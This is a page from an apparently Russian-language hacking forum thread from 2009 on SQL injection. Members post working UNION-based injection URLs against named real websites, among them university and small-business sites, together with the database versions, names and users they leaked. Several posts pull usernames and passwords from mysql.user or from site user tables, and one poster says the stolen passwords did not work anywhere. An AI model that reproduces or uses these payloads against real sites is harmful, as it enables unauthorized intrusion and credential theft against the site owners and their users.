SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    390
    Reputations:
    58
    PR 5
    Code:
    http://www.meddb.info/index.php.en?cat=-4+union+select+1,2,version(),4/*
    Database Version: 5.0.27-standard-log
    Database name: med_db
    User name: koenjo1@localhost

    -----------------------------------------------------------------------------------------------------------------

    PR 5
    Code:
    http://www.pathology.med.umich.[SIZE=4][COLOR=Lime]edu[/COLOR][/SIZE]/policies/index.php?id=-209'+union+select+1,concat_ws(0x3a,user,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+mysql.user/*
    Database Version: 4.0.27-nt
    Database name: pathology
    User name: [email protected]
     
    #10021 Skofield, 6 Jul 2009
    Last edited: 6 Jul 2009
  2. ANUBI$

    ANUBI$ Active Member

    Joined:
    16 Jan 2009
    Messages:
    57
    Likes Received:
    104
    Reputations:
    1
    Code:
    http://www.bufferbear.co.uk/listNursery.php?id=-40+union+select+1,2,coNCAT_ws(chAR(42,32,42),user(),database(),version()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
    salarysacrifice@localhost* *salarysacrifice* *4.0.21-standard
     
    #10022 ANUBI$, 6 Jul 2009
    Last edited: 6 Jul 2009
    1 person likes this.
  3. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    390
    Reputations:
    58
    PR 5
    Code:
    http://www.plus2net.com/php_tutorial/php_blog_dtl.php?id=-3+union+select+1,2,version(),4--
    Database Version: 5.1.30
    Database name: syamalav_plus2net
    User name: syamalav_plus@localhost
     
  4. i~DOS

    i~DOS Member

    Joined:
    26 Mar 2009
    Messages:
    42
    Likes Received:
    40
    Reputations:
    4
    Code:
    http://www.gaiahouse.co.uk/pages.php?id=-3+union+select+1,2,3,version(),5,6
    4.1.22-standard-log
     
    1 person likes this.
  5. RulleR

    RulleR Elder - Старейшина

    Joined:
    12 Jun 2008
    Messages:
    166
    Likes Received:
    439
    Reputations:
    313
    [PR 5]
    Code:
    http://osa.nccu.[COLOR="Lime"]edu[/COLOR].tw/en/modules/tinyd9/content/index.php?id=1&anno_ID=-92+union+select+1,2,3,4,5,6,7,8,9,unhex(hex(concat_ws(0x3a,version(),database(),user()))),11
    4.1.11:studaff:reid@localhost
    Code:
    http://osa.nccu.edu.tw/en/modules/tinyd9/content/index.php?id=1&anno_ID=-92+union+select+1,2,3,4,5,6,7,8,9,unhex(hex(concat_ws(0x3a,user,password,file_priv))),11+from+mysql.user
     
    #10025 RulleR, 6 Jul 2009
    Last edited: 7 Jul 2009
  6. RazyKK

    RazyKK Member

    Joined:
    9 Feb 2009
    Messages:
    127
    Likes Received:
    16
    Reputations:
    4
    HTML:
    http://www.tangodiva.com/index.php?page=features&j=1&cat=3&story_id=591+union+select+concat_ws(0x3a,version(),database(),user())+limit+1,1--
    5.0.45:tangodiv tangodiva:tangodiv@localhost

    http://www.tangodiva.com/index.php?page=features&j=1&cat=3&story_id=591+limit+0+UNION+SELECT+CONCAT(id,username,password)+FROM+alpha.divas+LIMIT+1,1--
     
    #10026 RazyKK, 7 Jul 2009
    Last edited: 7 Jul 2009
    1 person likes this.
  7. beerhack

    beerhack Elder - Старейшина

    Joined:
    1 Mar 2008
    Messages:
    99
    Likes Received:
    48
    Reputations:
    5
    PR 5
    Code:
    https://students.washington[COLOR=Lime].edu[/COLOR]/shpe/officers.php?id=-1+union+select+1,version(),3,4,5,6,7/*
    Database Version: 5.0.27-standard
    Database name: users
    User name: [email protected]

    Code:
    http://students.washington.edu/wwuf/calendar/cal_cat.php?op=cat&id=-1'+union+select+1,2,3,4,5,6,7,8,9,0,11,concat_ws(0x3a,user,password),13,14,15,16,17,18+from+mysql.user/*
     
    3 people like this.
  8. RazyKK

    RazyKK Member

    Joined:
    9 Feb 2009
    Messages:
    127
    Likes Received:
    16
    Reputations:
    4
    Code:
    http://www.affordablewine.co.uk/store.php?cat=3+limit+0+UNION+SELECT+1,CONCAT(Database(),User(),Version()),3,4,5,6,7,8,9--

    5.0.82-communityweb229-affordweb229-afford@localhost
     
    1 person likes this.
  9. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    они продают скрипты PHP+MySQL

    http://www.xl-portal.ro/?x=stire&id=-1+UNION+SELECT+1,2,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),4,5,6--


    Database Version: 5.0.67-community-log
    Database name: aikowebd_xlportal
    User name: [email protected]
    Os: redhat-linux-gnu
     
  10. ANUBI$

    ANUBI$ Active Member

    Joined:
    16 Jan 2009
    Messages:
    57
    Likes Received:
    104
    Reputations:
    1
    http://www.wyevalleybrewery.co.uk/news_view.php?id=-176+union+select+1,group_concat(table_name),3,4,5+from+information_schema.tables



    http://www.alpenstock.co.uk/tents.php?id=-1+union+select+1,group_concat(table_name),3,4,5,6,7,8+from+information_schema.tables
     
    2 people like this.
  11. pelligrim

    pelligrim Elder - Старейшина

    Joined:
    26 Apr 2008
    Messages:
    31
    Likes Received:
    20
    Reputations:
    0
    HTML:
    http://gerpes.com.ua/bolezni/?id=-1+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7--
    4.0.27-standard-log:gerpeso_gerpes:gerpeso_gerpes@localhost

    HTML:
    http://prasu.com.ua/index.php?id=1+union+select+1,2,3,concat_ws(0x3a,version(),database(),user())--
    5.1.30:db_prasu:admin_prasu@localhost
     
  12. rolex

    rolex Member

    Joined:
    7 Apr 2009
    Messages:
    27
    Likes Received:
    35
    Reputations:
    4
    PR 4
    tradevoyageby_tradevoyage:5.1.34-community-log:tradevoyageby@localhost

    PR 4
    gilles:5.0.32-Debian_7etch10-log:gilles@localhost

    ----------
     
  13. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    390
    Reputations:
    58
    Code:
    http://www.teethwhiteningreviews.com/item.php?id=-7+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7,8,9,10,11,12,13/*
    5.0.45:teethwh_mydb:teethwh_mydb@localhost

    -------------------------------------------------------------------------------------------------------------------------

    Code:
    http://www.wallawallacountydemocrats.org/modules/newsletters/simpleview.php?id=-150+union+select+1,2,3,4,version(),6,7,8,9,0,11,12,13,14,15,16,17,18+from+users/*
    Database Version: 5.0.45-Debian_1ubuntu3.3-log
    Database name: wallawallacountydemocrats
    User name: [email protected]
     
    #10033 Skofield, 7 Jul 2009
    Last edited: 7 Jul 2009
    1 person likes this.
  14. RulleR

    RulleR Elder - Старейшина

    Joined:
    12 Jun 2008
    Messages:
    166
    Likes Received:
    439
    Reputations:
    313
    [PR 6]
    Code:
    http://www.smap.eu/EN/index.php?page=home2.php&id=-803+union+select+1,2,3,4,5,6,7,8,9,concat_ws(0x3a,version(),database(),user()),11,12,13,14,15
    5.0.45:smap_db:smap_db_user@localhost
    ==================
    [PR 3]
    Code:
    http://www.unlocknews.eu/index.php?id=-8+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7,8,9,10,11,12,13,14,15,16,17--
    4.1.22:unlocknews:unlocknews@localhost
     
  15. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    390
    Reputations:
    58
    PR 5
    Code:
    http://www.pcgg.de/workshop_detail.php?id=-87+union+select+1,2,3,4,unhex(hex(version())),6,7,8,9,10,11,12/*
    Database Version: 5.0.18
    Database name: usr_web234_1
    User name: web234@localhost
     
  16. beerhack

    beerhack Elder - Старейшина

    Joined:
    1 Mar 2008
    Messages:
    99
    Likes Received:
    48
    Reputations:
    5
    Code:
    http://www.ipservice.com.co/faqingb.php?id=-1+union+select+1,version(),3,4,5/*
    Database Version: 4.1.22-standard
    Database name: ipservic_adminfaq
    User name: ipservic_admin@localhost
     
  17. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    390
    Reputations:
    58
    Code:
    http://www.globalspeakers.com.au/viewspeaker.php?id=-434+union+select+1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+admin/*
    Database Version: 5.0.22-log
    Database name: c893_global
    User name: [email protected]

    -----------------------------------------------------------------------------------------------------------------

    Code:
    http://www.bouncy-castles-for-hire.co.uk/bouncy-castle-hire.php?id=-75+union+select+1,version()--
    Database Version: 5.0.82-community
    Database name: web33-bouncy
    User name: web33-bouncy@localhost
     
    #10037 Skofield, 8 Jul 2009
    Last edited: 8 Jul 2009
    2 people like this.
  18. beerhack

    beerhack Elder - Старейшина

    Joined:
    1 Mar 2008
    Messages:
    99
    Likes Received:
    48
    Reputations:
    5
    Code:
    http://www.wrekin-shell-mouldings.co.uk/certification.php?id=1+union+select+1,2,3,concat_ws(0x3a,user_id,user_email,user_password),5,6,7,8,9,0,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31+from+users/*
    Database Version: 4.1.22-log
    Database name: wsmdb
    User name: wsmuser@localhost
     
  19. mol0t

    mol0t Member

    Joined:
    8 Jul 2009
    Messages:
    28
    Likes Received:
    89
    Reputations:
    3
    PR 6
    greensite:5.0.45:greensite@localhost

    users:
    админку не нашел :(
     
    #10039 mol0t, 8 Jul 2009
    Last edited: 8 Jul 2009
    2 people like this.
  20. Fata1ex

    Fata1ex Elder - Старейшина

    Joined:
    12 Dec 2006
    Messages:
    703
    Likes Received:
    300
    Reputations:
    38
    Code:
    http://www.motormania.hr/index.php?forwardUrl=subcategory.php&id=-1935+union+select+111,2,3/*
    mmania_www@localhost:4.1.22-standard:mmania_www
    
    Пароли все равно никуда не подходили, поэтому и выложил.
    всем чмоке
     
    #10040 Fata1ex, 8 Jul 2009
    Last edited: 8 Jul 2009
    1 person likes this.
Thread Status:
Not open for further replies.